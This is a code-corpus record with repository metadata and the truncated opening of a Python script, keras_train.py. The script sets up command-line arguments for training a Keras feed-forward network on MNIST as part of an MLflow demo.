4414e9251fda0ab8c59e8bc776d04ef1f9fede10
[ "MIT" ]
null
null
null
keras_train.py
jmeisele/mlflow_demo
4414e9251fda0ab8c59e8bc776d04ef1f9fede10
[ "MIT" ]
null
null
null
""" Author: Jason Eisele Email: [email protected] Date: August 1, 2020 """ import argparse import keras import tensorflow as tf import cloudpickle parser = argparse.ArgumentParser( description='Train a Keras feed-forward network for MNIST classification') parser.add_argument('--batch-size', '-b', type=int, default=1...
34.634146
79
0.738028
0
0
0
0
0
0
0
0
286
0.201408